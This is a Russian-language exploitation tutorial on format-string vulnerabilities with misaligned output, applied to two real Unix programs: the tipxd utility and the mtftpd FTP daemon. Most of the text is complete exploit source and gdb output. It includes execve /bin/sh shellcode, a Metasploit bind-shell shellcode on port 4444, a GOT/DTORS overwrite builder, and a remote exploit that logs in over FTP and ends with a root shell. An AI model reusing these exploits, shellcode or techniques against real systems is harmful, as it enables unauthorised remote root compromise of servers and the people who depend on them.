Эксплуатирование нестандартных ошибок форматирования строки
1. Введение
Однажды, я исследовал
популярный Open Source Unix демон. И мной была
обнаружена в нем ошибка класса форматирование строки. В
демоне использовался уязвимый вызов функции "snprintf()"
без форматов. Я попытался проэксплуатировать этот демон
классическим методом. Но когда я ввел в одну из команд
строку "AAAA.%x.%x.%x.%x.%x.%x.%x.%x", то я получил
ответ от сервера подобный этому: "bla_bla_bla
AAAA.addrz_addrz_addrz_2e334141". Я попробовал добавить
два символа для выравнивания оффсета. В результате,
когда я приатачился к демону через gdb я увидел, что
регистр EIP переписан частично. То есть вместо адреса
0xbfffd5fa я получил 0x99ffe9fa. Позже я принялся искать
информацию в сети по данной теме. И нашел. Это была
статья Pascal'я об его методе эксплуатирования. Я
кое-как разобрался с ним, но все же он мне никак не
подходил. Так как он был довольно запутанным и сложным в
понимании. Вскоре после этого я принялся искать свой
метод эксплоитинга. И он был найден. Как раз в данной
статье я и хочу поведать вам его. Хочу предупредить, что
данная статья не рассчитана на новичков! Хотя описанный
мной ниже метод универсален. Примеры будут основаны на
РЕАЛЬНЫХ уязвимых программах. Мы рассмотрим пример
написания локального эксплоита и удаленного эксплоита к
одному ftp серверу. Итак... Поехали!
2.
Локальное эксплуатирование
Прежде всего, я
хочу сказать, что некоторое время назад в одной не очень
популярной unix утилите под название "tipxd" была
найдена уязвимость формата строки. В ней существовал
уязвимый вызов syslog() функции. Хочу поблагодарить за
найденную уязвимость моего хорошего знакомого CoKi из
NoSystem Group. Саму утилиту ищите в google. А сейчас я
хочу рассмотреть как раз уязвимый код.
Уязвимость
в src/log.c:
void
tipxd_log(int priority, char *format, ...
) { va_list ap; char
log_entry[LOG_ENTRY_SIZE];
va_start(ap,format); vsnprintf(log_entry,LOG_ENTRY_SIZE-1,format,ap);
if
(sysinfo.opt_flags & OPT_STDERR)
{
fprintf(stderr,"[TIPXD LOG]
%s\n",log_entry); } else
{ syslog(priority,log_entry); <------
уязвимость }
return; }
Как
видно в функции tipxd_log() вызывается syslog() без
форматирования входящей строки. Сама строка вводится
пользователем в эту функцию как входящий аргумент.
Предлагаю посмотреть где эта самая функция
вызывается.
src/main.c
int main( int argc, char *argv[]
) { .... while ((c =
getopt_long(argc,argv,"f:evh",long_options,&option_index))
!= -1) { switch (c) { case 'f': if
(!(sysinfo.config_filename = malloc(strlen(optarg))))
{ fprintf(stderr,"Could not allocate memory for
filename
storage\n"); exit(1); }
.... tipxd_log(
LOG_INFO, "Config file is %s\n", sysinfo.config_filename
); .... }
Она вызывается, когда
пользователь пытается установить конфигурационный файл.
Давайте проверим это на практике.
[darkeagle@localhost bin]$ ./tipxd -f
aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x Unable
to open configuration file : No such file or
directory
[darkeagle@localhost bin]$ tail -3
/var/log/syslog Mar 15 15:53:59 localhost
tipxd[6506]: Config file is /etc/tipxd.conf Mar 15
15:55:31 localhost tipxd[6582]: Started Mar 15
15:55:31 localhost tipxd[6582]: Config file is
aaaa.41.41.666e6f43.66206769.20656c69.
61207369.2e616161.252e7825.78252e78.
2e78252e.252e7825.78252e78.
2e78252e.252e7825.78252e78 [darkeagle@localhost
bin]$
Да! Как вы можете наблюдать это так!
Оффсет в данной случае 7. И мы видим, что он не равен
0x61616161, а равен 0x2e616161. Поэтому как раз здесь и
нестандартная ситуация. Мы можем выровнять наш оффсет
путем добавления одного символа.
[darkeagle@localhost bin]$ ./tipxd -f
baaaa%7$\x [darkeagle@localhost bin]$ tail -1
/var/log/syslog Mar 15 15:57:48 localhost
tipxd[6584]: Config file is
aaaa61616161 [darkeagle@localhost
bin]$
Теперь вы можете попробовать
проэксплуатировать уязвимость классическим методом, но
заверяю у вас ничего не получится. Посмотрите на
следующий код:
#include
<stdio.h>
#define offset 7 #define var
0x0804f994+0x04 // dtorz
int main(int argc, char
*argv[]) {
char *addr[3] = { ((char *)var
+2), ((char *)var), };
char buffer[500],
cmd[600]; long high, low; long target =
0x41414141; // retaddr
high = (target &
0xffff0000) >> 16; low = (target &
0x0000ffff);
high -= 0x08;
memset(buffer,
0x00, sizeof(buffer));
strcat(buffer, "U"); // to
align offset sprintf(buffer+strlen(buffer),
"%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &addr, high, offset,
(low - high)-0x8, offset+1);
printf("%s\n",
buffer); }
Откомпилируем и запустим в
отладчике:
[darkeagle@localhost bin]$ gcc exp.c -o
exp [darkeagle@localhost bin]$ gdb tipxd GNU gdb
6.0-2mdk (Mandrake Linux) Copyright 2003 Free
Software Foundation, Inc. GDB is free software,
covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of
it under certain conditions. Type "show copying" to
see the conditions. There is absolutely no warranty
for GDB. Type "show warranty" for details. This GDB
was configured as "i586-mandrake-linux-gnu"... Using
host libthread_db library
"/lib/tls/libthread_db.so.1".
(gdb) r -f
`./exp` Starting program:
/home/darkeagle/research/tipxd-1.1.1/bin/tipxd -f
`./exp` Unable to open configuration file : No such
file or directory
Program received signal
SIGSEGV, Segmentation fault. 0x41514153 in ??
() (gdb) q The program is running. Exit anyway? (y
or n) y [darkeagle@localhost bin]$
Как
можно видеть мы перезаписали только часть EIP регистра.
Мой знакомый CoKi попытался проэксплуатировать данную
ошибку методом Pascal'я. Сейчас я вам покажу как
проэксплуатировать данную утилиту моим методом. Но
прежде я хочу показать вам формулу. Она выглядит
следующим
образом:
<GOT><GOT+1><GOT+2><GOT+3><ADDR>
<BYTE(s)_TO_ALIGN>%OFFET$n<ADDR>
x%OFFSET+1$n<ADDR>x%OFFSET+2$n
<ADDR>x%OFFSET+3$n<NOPS><SHELLCODE>
Время
увидеть все это в теории:
#include <stdio.h> #include
<stdlib.h> #include
<string.h>
#define doit( b0, b1, b2, b3,
addr ) { \ b0 = (addr >> 24) & 0xff;
\ b1 = (addr >> 16) & 0xff; \ b2 = (addr
>> 8) & 0xff; \ b3 = (addr ) & 0xff;
\ }
char shellcode[]=
"\x31\xc0" "\x31\xdb" "\x31\xc9" "\xb0\x46" "\xcd\x80" "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x8d\x54\x24\x08" "\x50" "\x53" "\x8d\x0c\x24" "\xb0\x0b" "\xcd\x80" "\x31\xc0" "\xb0\x01" "\xcd\x80";
char
* evil_builder( unsigned int retaddr, unsigned int
offset, unsigned int base, long figure ) { char *
buf; unsigned char b0, b1, b2, b3; int start =
256;
doit( b0, b1, b2, b3, retaddr ); buf =
(char *)malloc(999); memset( buf, 0, 999 );
b3
-= figure; b2 -= figure; b1 -= figure; b0 -=
figure;
snprintf( buf,
999, "%%%dx%%%d$n%%%dx%%%d$n
%%%dx%%%d$n%%%dx%%%d$n", b3 - 16 + start - base,
offset, b2 - b3 + start, offset + 1, b1 - b2 +
start, offset + 2, b0 - b1 + start, offset + 3
);
return buf; }
int main( int argc,
char * argv[] ) { char * fmt; char
endian[55]; unsigned long locaddr,
retaddr; unsigned int offset, base; unsigned char
b0, b1, b2, b3;
memset( endian, 0, 555
);
locaddr = 0x0804f994; // dtorz addr retaddr
= 0x01010101; // return addr offset = 7; //
offset locaddr += 0x4; // dtorz+0x4
doit( b0,
b1, b2, b3, locaddr );
base =
4;
strcat(endian, "x"); // символ для
выравнивания оффсета.
snprintf(
endian+strlen(endian),
sizeof(endian), "%c%c%c%c" "%c%c%c%c" "%c%c%c%c" "%c%c%c%c", b3,
b2, b1, b0, b3 + 1, b2, b1, b0, b3 + 2, b2, b1,
b0, b3 + 3, b2, b1, b0 );
fmt = evil_builder(
retaddr, offset, base, 0x0
);
memset(fmt+strlen(fmt), 0x42,
48); strcat(fmt, shellcode); strcat(endian,
fmt); execl("tipxd", "tipxd", "-f",
endian);
return
0; }
Откомпилируем и
запустим:
[darkeagle@localhost bin]$ gcc fmt.c -o
fmt [darkeagle@localhost bin]$ ./fmt Unable to
open configuration file : No such file or
directory
Segmentation fault (core
dumped) [darkeagle@localhost bin]$ gdb -c
core.7388 GNU gdb 6.0-2mdk (Mandrake
Linux) Copyright 2003 Free Software Foundation,
Inc. GDB is free software, covered by the GNU General
Public License, and you are welcome to change it
and/or distribute copies of it under certain
conditions. Type "show copying" to see the
conditions. There is absolutely no warranty for GDB.
Type "show warranty" for details. This GDB was
configured as "i586-mandrake-linux-gnu". Core was
generated by `tipxd -f xЫ™ЫљЫ›Ы%237x%7$n%256x%8$n
%256x%9$n%256x%10$nBBBBBBBBBBBBBBBB'. Program
terminated with signal 11, Segmentation fault. #0
0x0d0d0d0d in ?? () (gdb)
Вы видите что
значение регистра EIP не равно 0x01010101. Оно равно
0x0d0d0d0d. Давайте
подсчитаем выравнивание:
0D - 01 =
0C.
0D т.к EIP = 0x0d0d0d0d 01 т.к. retaddr =
0x01010101
Выравнивание равно 0C = 12 (dec). Взглянем на код
эксплоита. Часть кода в эксплоите:
fmt =
evil_builder( retaddr, offset, base, 0x0 );
в
данном случае выравнивание = 0. Замените
на:
fmt = evil_builder( retaddr, offset, base,
0xC );
новое выравнение =
0xC.
Откомпилируйте и запустите:
[darkeagle@localhost bin]$ gcc fmt.c -o
fmt [darkeagle@localhost bin]$ ./fmt Unable to
open configuration file : No such file or
directory
Segmentation fault (core
dumped) [darkeagle@localhost bin]$ gdb -c
core.7398 GNU gdb 6.0-2mdk (Mandrake
Linux) Copyright 2003 Free Software Foundation,
Inc. GDB is free software, covered by the GNU General
Public License, and you are welcome to change it
and/or distribute copies of it under certain
conditions. Type "show copying" to see the
conditions. There is absolutely no warranty for GDB.
Type "show warranty" for details. This GDB was
configured as "i586-mandrake-linux-gnu". Core was
generated by `tipxd -f xЫ™ЫљЫ›Ы%481x%7$n%256x%8$n%256x%
9$n%256x%10$nBBBBBBBBBBBBBBBB'. Program terminated
with signal 11, Segmentation fault. #0 0x01010101 in
?? () (gdb)
Мы сделали это! EIP
указывает на 0x01010101! Теперь дело за малым. Найти наш
шеллкод в стеке и указать адрес его в эксплоит. Делаем
следующее:
(gdb) x/1024x
$esp ............... ............... ............... 0xbfffff7c:
0x3532256e 0x39257836 0x32256e24
0x25783635 0xbfffff8c: 0x6e243031 0x42424242
0x42424242 0x42424242 0xbfffff9c: 0x42424242
0x42424242 0x42424242 0x42424242 0xbfffffac:
0x42424242 0x42424242 0x42424242
0x42424242 0xbfffffbc: 0x42424242 0xdb31c031
0x46b0c931 0xc03180cd 0xbfffffcc: 0x2f2f6850
0x2f686873 0x896e6962 0x24548de3 0xbfffffdc:
0x8d535008 0x0bb0240c 0xc03180cd
0x80cd01b0 .............. .............. (gdb)
Как
видно мы нашли наши данные в стеке - это "BBB". В данном
случае они выступают как NOP'ы. Т.е. пустые инструкции.
При взятии адреса, указывающего на 0x42424242, мы тем
самым указываем, что уязвимая программа обратится к
НОПу, а он в свою очередь спустится до шеллкода. Берем
адрес "0xbfffffac". Заменяем его в эксплоите вместо
0x01010101. Компилируем/запускаем:
[darkeagle@localhost bin]$ gcc fmt.c -o
fmt [darkeagle@localhost bin]$ ./fmt Unable to
open configuration file : No such file or
directory
sh-2.05b$
Мы получили
шелл!
3. Удаленное
эксплуатирование
Теперь давайте применил наши
знания на другом реальном примере. Некоторое время назад
я обнаружил другую ошибку в ftp демоне под Unix.
Название демона - "mtftpd". В этом демоне существовал
неправильный вызов "syslog()". Скачать данный демон
можете с sf.net сайта. А теперь посмотрим на код
уязвимый:
src/log.c:
static void log_do(const int err, const
int prd, const char *fmt, va_list ap) { #define
MAXLINE 4096 int errno_save; char
buf[MAXLINE];
errno_save = errno; bzero(buf,
sizeof(buf)); vsnprintf(buf, sizeof(buf) - 1, fmt,
ap); if(err) { snprintf(buf + strlen(buf),
sizeof(buf) - strlen(buf) - 1, ": %s",
strerror(errno_save)); } strcat(&buf[MIN(sizeof(buf)
- 2, strlen(buf))], "\n"); #if MT_DEBUG &&
!MT_WANT_INETD write(STDERR_FILENO, buf,
strlen(buf)); #else syslog(prd, buf); //
УЯЗВИМЫЙ
ВЫЗОВ!!!!!!! #endif }
Как вы
видите здесь похожая проблема. Syslog() в нашем случае
будет брать аргумент с ftp команды CWD, вы можете это
увидеть в следующем коде:
src/cmd.c:
CMD_P(cwd) { int ret;
#if
MT_DEBUG log_msg("session: %d. You are into
cmd_cwd()", ses->ses); #endif
ret =
chdir(param); if(ret) { char
path[PATH_MAX];
if(*param == '/') strcpy(path,
param); else sprintf(path, "%s/%s", strcmp("/",
ses->wd) ? ses->wd : "", param); log_ret("chdir
error to dir %s", path); <------- ЕСЛИ директория не существует
вызывается функция уязвимая mt_comm_write(ses, "550 %s.",
strerror(errno)); } else { getcwd(ses->wd,
PATH_MAX); mt_comm_write(ses, "250 CWD command
successful."); } }
Предупреждаю, что
уязвимый код работает если демон сконфигурирован с
"--enable-statistics" опцией. И хочу еще сказать, что
mtftpd компилируется только в gcc версии 2.96 или ниже
(!). Время проверить демон на практике.
[darkeagle@localhost mtftpd-0.0.3]$
./configure
--enable-statistics .... [darkeagle@localhost
mtftpd-0.0.3]$ make .... [darkeagle@localhost
mtftpd-0.0.3]$ cd src [darkeagle@localhost
mtftpd-0.0.3]$ su Password: [root@localhost src]#
./mtftpd [root@localhost src]#
Сам
демон написан с использованием потоков. Для каждого
нового клиента, демон создает свой поток. Давайте
соединимся с сервером.
[darkeagle@localhost darkeagle]$ telnet
localhost 21 Trying 127.0.0.1... Connected to
localhost.localdomain (127.0.0.1). Escape character
is '^]'. 220 user darkeagle 331 Password
required for user darkeagle pass IloveYouVicky 230
User darkeagle logged in.
Теперь
посмотрите процессы в системе и прикрепитесь к
порожденному процессу демона.
[root@localhost src]# ps
-ax .... 2570 ? S 0:00 ./mtftpd 4221 pts3 S
0:00 telnet localhost 21 4222 ? S 0:00 ./mtftpd
<-------- порожденный процесс. 4225 pts0 R 0:00 ps
-ax .... [root@localhost src]# gdb GNU gdb
6.0-2mdk (Mandrake Linux) Copyright 2003 Free
Software Foundation, Inc. GDB is free software,
covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of
it under certain conditions. Type "show copying" to
see the conditions. There is absolutely no warranty
for GDB. Type "show warranty" for details. This GDB
was configured as "i586-mandrake-linux-gnu". (gdb)
attach 4222 Attaching to process 4222 Reading
symbols from
/home/darkeagle/research/mtftpd-0.0.3/src/mtftpd...done. Using
host libthread_db library
"/lib/tls/libthread_db.so.1". Reading symbols from
/lib/libcrypt.so.1...done. Loaded symbols for
/lib/libcrypt.so.1 Reading symbols from
/lib/tls/libc.so.6...done. Loaded symbols for
/lib/tls/libc.so.6 Reading symbols from
/lib/ld-linux.so.2...done. Loaded symbols for
/lib/ld-linux.so.2 Reading symbols from
/lib/libnss_files.so.2...done. Loaded symbols for
/lib/libnss_files.so.2 0xffffe410 in ?? () (gdb)
c Continuing.
Введем строку из telnet
окна:
cwd
AAAA.%x.%x.%x.%x.%x.%x.%x.
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x 550 No such file or
directory.
Время проверить
syslog().
[root@localhost
src]# tail -1 /var/log/syslog Jul 10 00:06:57
localhost mtftpd: chdir error to dir
/home/darkeagle/AAAA.bfffd240.bfffd240.69646863.
72652072.20726f72.64206f74.2f207269.656d6f68.
7261642f.6761656b.412f656c.2e414141.252e7825.
78252e78.2e78252e.252e7825.78252e78: No such file or
directory [root@localhost src]#
Да!
Уязвимость работает! Кривой оффсет равен 12. И он похож
на оффсет локальной утилиты. Теперь время написать
эксплоит. Данный эксплоит будет носить статус "remote
root". Мой код выглядит следующим образом:
#include <stdio.h> #include
<stdlib.h> #include
<unistd.h> #include <errno.h> #include
<string.h> #include
<getopt.h> #include <netdb.h> #include
<sys/types.h> #include
<sys/fcntl.h> #include
<netinet/in.h> #include
<sys/socket.h>
#define USERNAME "USER
darkeagle\r\n\r\n" #define PASSWORD "PASS
IloveYouVicky\r\n\r\n"
#define doit( b0, b1, b2,
b3, addr ) { \ b0 = (addr >> 24) & 0xff;
\ b1 = (addr >> 16) & 0xff; \ b2 = (addr
>> 8) & 0xff; \ b3 = (addr ) & 0xff;
\ }
// metasploit guys shellcode char
shellcode[] = // binds 4444
port "\x31\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x85" "\x4f\xca\xdf\x83\xeb\xfc\xe2\xf4\xb4\x94\x99\x9c\xd6\x25\xc8\xb5" "\xe3\x17\x53\x56\x64\x82\x4a\x49\xc6\x1d\xac\xb7\x94\x13\xac\x8c" "\x0c\xae\xa0\xb9\xdd\x1f\x9b\x89\x0c\xae\x07\x5f\x35\x29\x1b\x3c" "\x48\xcf\x98\x8d\xd3\x0c\x43\x3e\x35\x29\x07\x5f\x16\x25\xc8\x86" "\x35\x70\x07\x5f\xcc\x36\x33\x6f\x8e\x1d\xa2\xf0\xaa\x3c\xa2\xb7" "\xaa\x2d\xa3\xb1\x0c\xac\x98\x8c\x0c\xae\x07\x5f";
//
Do our evil DeeDz char * evil_builder( unsigned
int retaddr, unsigned int offset, unsigned int base,
long figure ) { char * buf; unsigned char b0,
b1, b2, b3; int start = 256;
doit( b0, b1, b2,
b3, retaddr ); buf = (char *)malloc(999); memset(
buf, 0, 999 );
b3 -= figure; b2 -= figure; //
align our addr b1 -= figure; b0 -=
figure;
snprintf( buf,
999, "%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n", b3
- 16 + start - base, offset, b2 - b3 + start, offset
+ 1, b1 - b2 + start, offset + 2, b0 - b1 + start,
offset + 3 );
return buf; }
int main (
int argc, char *argv ) {
int sock; struct
sockaddr_in addr; char evildata[31337], rec[555],
shell[555];
unsigned long locaddr,
retaddr; unsigned int offset, base; unsigned char
b0, b1, b2, b3; char *
fmt;
system("clear");
printf("* mtftpd
<= 0.0.3 remote r00t exploit *\n"); printf("*
special for last p#63 issue! *\n"); printf("* by
Darkeagle *\n\n");
sock = socket(AF_INET,
SOCK_STREAM, IPPROTO_IP);
addr.sin_family =
AF_INET; addr.sin_port =
htons(21); addr.sin_addr.s_addr =
inet_addr("127.0.0.1");
memset(evildata, 0x00,
31337); memset(rec, 0x00, 555); memset(shell,
0x00, 555);
if (connect(sock, (struct
sockaddr*)&addr, sizeof(addr) ) ) { printf("[-]
Connection failed!\n"); exit(0); }
sleep(10); //
time to debug child process
locaddr = 0x0804fd10;
// syslog from GOT retaddr = 0x01010101; //
retaddr offset = 12; // offset
doit( b0, b1,
b2, b3, locaddr ); // let's do it base =
4;
strcat(evildata, "CWD x"); // copy vulnerable
command and "x" to align our offset snprintf(
evildata+strlen(evildata),
sizeof(evildata), "%c%c%c%c" "%c%c%c%c" "%c%c%c%c" "%c%c%c%c", b3,
b2, b1, b0, b3 + 1, b2, b1, b0, b3 + 2, b2, b1,
b0, b3 + 3, b2, b1, b0 );
fmt = evil_builder(
retaddr, offset, base, 0x0
);
memset(fmt+strlen(fmt), 0x55,
32); strcat(fmt, shellcode); strcat(evildata,
fmt); strcat(evildata,
"\r\n\r\n\r\n");
send(sock, USERNAME,
strlen(PASSWORD), 0); sleep(1); send(sock,
PASSWORD, strlen(PASSWORD),
0); sleep(2); recv(sock, rec, sizeof(rec),
0);
if (strstr(rec, "230") ) printf("[+] Logged
In!\n"); else { printf("[-] Failed!\n"); exit(0);
}
printf("[+] Sending our Evil
DeeD\n"); send(sock, evildata, strlen(evildata),
0); sleep(1); strcpy(shell, "telnet localhost
4444"); sleep(6); system(shell); close(sock); return
0;
}
Откомпилируем/запустим и
приатачимся к процессу.
[root@localhost src]# gdb GNU gdb
6.0-2mdk (Mandrake Linux) Copyright 2003 Free
Software Foundation, Inc. GDB is free software,
covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of
it under certain conditions. Type "show copying" to
see the conditions. There is absolutely no warranty
for GDB. Type "show warranty" for details. This GDB
was configured as "i586-mandrake-linux-gnu". (gdb)
attach 4514 Attaching to process 4514 Reading
symbols from
/home/darkeagle/research/mtftpd-0.0.3/src/mtftpd...done. Using
host libthread_db library
"/lib/tls/libthread_db.so.1". Reading symbols from
/lib/libcrypt.so.1...done. Loaded symbols for
/lib/libcrypt.so.1 Reading symbols from
/lib/tls/libc.so.6...done. Loaded symbols for
/lib/tls/libc.so.6 Reading symbols from
/lib/ld-linux.so.2...done. Loaded symbols for
/lib/ld-linux.so.2 Reading symbols from
/lib/libnss_files.so.2...done. Loaded symbols for
/lib/libnss_files.so.2 0xffffe410 in ?? () (gdb)
c Continuing.
Program received signal SIGSEGV,
Segmentation fault. 0x21212121 in ??
() (gdb)
Да! EIP = 0x21212121.
Подсчитаем выравивание 0x21 - 0x01 = 0x20. Введем вместо
0x0, 0x20 в
fmt = evil_builder( retaddr, offset,
base, 0x20 );
Перекомпилим/запустим и приатачимся
к процессу.
[root@localhost
src]# gdb GNU gdb 6.0-2mdk (Mandrake
Linux) ... (gdb) attach 4536 Attaching to
process 4536 Reading symbols from
/home/darkeagle/research/mtftpd-0.0.3/src/mtftpd...done. Using
host libthread_db library
"/lib/tls/libthread_db.so.1". Reading symbols from
/lib/libcrypt.so.1...done. Loaded symbols for
/lib/libcrypt.so.1 Reading symbols from
/lib/tls/libc.so.6...done. Loaded symbols for
/lib/tls/libc.so.6 Reading symbols from
/lib/ld-linux.so.2...done. Loaded symbols for
/lib/ld-linux.so.2 Reading symbols from
/lib/libnss_files.so.2...done. Loaded symbols for
/lib/libnss_files.so.2 0xffffe410 in ?? () (gdb)
c Continuing.
Program received signal SIGSEGV,
Segmentation fault. 0x01010101 in ??
() (gdb)
У нас получилось!!! Время
найти шеллкод:
(gdb)
x/200000x $esp-0x1000 ........... 0xbfffd28c:
0x34312578 0x32256e24 0x25783635
0x6e243531 0xbfffd29c: 0x55555555 0x55555555
0x55555555 0x55555555 0xbfffd2ac: 0x55555555
0x55555555 0x55555555 0x55555555 0xbfffd2bc:
0x55555555 0x55555555 0x55555555
0x55555555 0xbfffd2cc: 0xe983c931 0xd9eed9eb
0x5bf42474 0x85137381 0xbfffd2dc: 0x83dfca4f
0xf4e2fceb 0x9c9994b4 0xb5c825d6 0xbfffd2ec:
0x565317e3 0x494a8264 0xb7ac1dc6
0x8cac1394 0xbfffd2fc: 0xb9a0ae0c 0x899b1fdd
0x5f07ae0c 0x3c1b2935 0xbfffd30c: 0x8d98cf48
0x3e430cd3 0x5f072935 0x86c82516 0xbfffd31c:
0x5f077035 0x6f3336cc 0xf0a21d8e
0xb7a23caa 0xbfffd32c: 0xb1a32daa 0x8c98ac0c
0x5f07ae0c 0x6f4e203a 0xbfffd33c: 0x63757320
0x69662068 0x6f20656c 0x69642072 0xbfffd34c:
0x74636572 0x0a79726f 0x00000000
0x00000000 0xbfffd35c: 0x00000000 0x00000000
0x00000000 0x00000000 ............ (gdb)
q
Берем "0xbfffd29c" и подставляем его
вместо 0x01010101. Перекомпилируем и
запускаем.
[darkeagle@localhost code]$ gcc exp_p.c -o
exp_p [darkeagle@localhost code]$ ./exp_p
*
mtftpd <= 0.0.3 remote r00t exploit *ф * by
Darkeagle *
[+] Logged In! [+] Sending our
Evil DeeD Trying 127.0.0.1... Connected to
localhost.localdomain (127.0.0.1). Escape character
is '^]'. id; uid=0(root) gid=0(root)
groups=0(root) : command not found
Мы
получили рута! Полученные знания вы можете применять в
дальнейшем! Удачи!
|
|